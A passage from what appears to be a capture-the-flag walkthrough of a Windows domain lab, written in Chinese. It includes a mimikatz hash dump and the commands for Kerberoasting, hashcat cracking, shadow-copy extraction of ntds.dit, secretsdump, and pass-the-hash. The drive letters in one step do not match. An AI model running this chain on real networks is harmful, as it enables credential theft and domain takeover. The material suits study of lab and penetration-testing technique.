* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : &H!vqg]om0Iz5Pn1NUGod&R9o /!$EK.?jn06+[J*6oZ\A+H?c2;V\(AgGpKw*f0W\vdUf;QoJ/5#DRZDwR@W5U9Io8`;zE7L":Ay-SKpe#>5S?;IL'HarDD
ssp :
credman :
cloudap :
Authentication Id : 0 ; 64855 (00000000:0000fd57)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/24 20:28:19
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : 0b a5 ec 1b 45 49 32 4c 6b ce 4a 76 60 85 b4 19 d3 9d f2 b0 da 35 69 d0 4b 9e 1f 2d 73 24 8d 5a 3c 8c ca de 3d 4b 3b 96 93 3b 1d 07 a8 ad 23 2d 5b 02 b3 e4 92 28 6f ff 3b 85 3a 5b 75 46 60 66 87 a7 09 32 06 56 d5 6d 82 39 1e a7 e7 e5 4e c6 ad 76 0a 80 82 97 3c aa 65 6c b0 72 41 ad 88 35 58 7d f0 0e 22 b1 09 15 28 74 bc d4 d5 ec a3 7a 6a 86 92 6f c3 52 e2 23 ae 4b 8a e6 1b b4 19 cd f7 f9 0f 2f 92 47 e1 1f 90 09 a5 4d ac 33 fa a9 dd d1 55 c4 61 40 ef c4 db 0d 24 9b 17 ce 1e 36 87 24 3e 39 e3 94 ee 54 2c 1f 43 69 fd df 7d 60 e3 7c da 84 7b e6 aa 97 8e 3e 0d c7 a0 af da a3 e6 fe c4 cc cc c0 17 eb cc a2 38 a7 ac b4 4f 37 7b be 10 b8 34 87 61 42 32 9a 8e ff 74 d3 f5 10 a5 30 99 c4 5f f1 99 e3 26 cd bd f3 e9 1d dd 0c
ssp :
credman :
cloudap :
Authentication Id : 0 ; 33884 (00000000:0000845c)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/24 20:28:18
SID : S-1-5-96-0-1
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : 0dfd4440ed9322a87416bbc3742994cc
* SHA1 : 83d6d14099bb7276ab134430fc75b40624f47256
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : 0b a5 ec 1b 45 49 32 4c 6b ce 4a 76 60 85 b4 19 d3 9d f2 b0 da 35 69 d0 4b 9e 1f 2d 73 24 8d 5a 3c 8c ca de 3d 4b 3b 96 93 3b 1d 07 a8 ad 23 2d 5b 02 b3 e4 92 28 6f ff 3b 85 3a 5b 75 46 60 66 87 a7 09 32 06 56 d5 6d 82 39 1e a7 e7 e5 4e c6 ad 76 0a 80 82 97 3c aa 65 6c b0 72 41 ad 88 35 58 7d f0 0e 22 b1 09 15 28 74 bc d4 d5 ec a3 7a 6a 86 92 6f c3 52 e2 23 ae 4b 8a e6 1b b4 19 cd f7 f9 0f 2f 92 47 e1 1f 90 09 a5 4d ac 33 fa a9 dd d1 55 c4 61 40 ef c4 db 0d 24 9b 17 ce 1e 36 87 24 3e 39 e3 94 ee 54 2c 1f 43 69 fd df 7d 60 e3 7c da 84 7b e6 aa 97 8e 3e 0d c7 a0 af da a3 e6 fe c4 cc cc c0 17 eb cc a2 38 a7 ac b4 4f 37 7b be 10 b8 34 87 61 42 32 9a 8e ff 74 d3 f5 10 a5 30 99 c4 5f f1 99 e3 26 cd bd f3 e9 1d dd 0c
ssp :
credman :
cloudap :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : XR-0923$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2026/8/24 20:28:18
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : xr-0923$
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
cloudap :
|
拿到XR-0923$的ntlm哈希0dfd4440ed9322a87416bbc3742994cc,这里结尾有个$，与标准用户账户相比，机器账户的名称末尾附加了$符号，利用该账户进行Kerberosast攻击,可以发现域中所有注册了SPN的服务账户
1
| proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':0dfd4440ed9322a87416bbc3742994cc' -dc-ip 172.22.14.11
|
发现tianjing这个用户，然后也是Remote Management User组，抓一下hash
1
| proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':0dfd4440ed9322a87416bbc3742994cc' -dc-ip 172.22.14.11 -request-user tianjing
|
hashcat爆破密码
1
| hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force
|
密码是DPQSXSXgh2，由于是Remote Management User组，所以可以evil-winrm上去
1
| proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2
|
这里尝试如法炮制，但是这里限制了不能rdp上去，然后这里有个SeBackupPrivilege，有备份权限
可以卷影拷贝然后读sam(SAM是安全账户管理器数据库，包含了本地用户及用户组,包括它们的口令及其他属性，位于注册表的HKLM\SAM下面)
卷影拷贝是Windows操作系统中的一种快照技术，由卷影复制服务提供支持。它能在文件系统层面创建时间点副本（Point-in-Time Copy），即使文件正在被使用或锁定，也能生成一致的副本。
低权限访问：默认情况下，用户只需备份操作员权限即可创建卷影拷贝。
一般打法如下：
1
2
3
4
5
6
7
8
9
| # 创建C盘的卷影拷贝
vssadmin create shadow /for=C:
# 从卷影拷贝中复制SAM、SYSTEM等文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
# 使用mimikatz/secretsdump提取哈希
secretsdump -sam SAM -system SYSTEM LOCAL
|
有了SAM和SYSTEM就能提取哈希
本地创一个raj.dsh，写入
1
2
3
4
| set context persistent nowriters # 设置卷影拷贝为持久性，不会自动删除,创建时不通知应用程序（如数据库）刷新数据到磁盘
add volume c: alias raj # 将C盘添加到快照集,为这个卷分配别名”raj”
create
expose %raj% z: # 将卷影拷贝挂载为g盘
|
然后给这个dsh转成windows格式的
然后winrm这边新建个目录给dsh传上去
1
2
3
| mkdir test
cd test
upload raj.dsh
|
然后卷影拷贝
然后现在给ntds下到kali本地来
1
2
| RoboCopy /b g:\windows\ntds . ntds.dit
download ntds.dit
|
现在ntds.dit就是windows的备份文件，里面有SAM
然后转存下载system，system位于注册表中
1
2
| reg save HKLM\SYSTEM system
download system
|
利用这两个用secretdump解密出域控hash
1
| impacket-secretsdump -ntds ntds.dit -system system local
|
拿到admin的
1
| Administrator:500:aad3b435b51404eeaad3b435b51404ee:70c39b547b7d8adec35ad7c09fb1d277:::
|
pth拿下
1
| proxychains4 crackmapexec smb 172.22.14.11 -u administrator -H 70c39b547b7d8adec35ad7c09fb1d277 -d xiaorang.lab -x "type C:\\Users\Administrator\flag\f*"
|
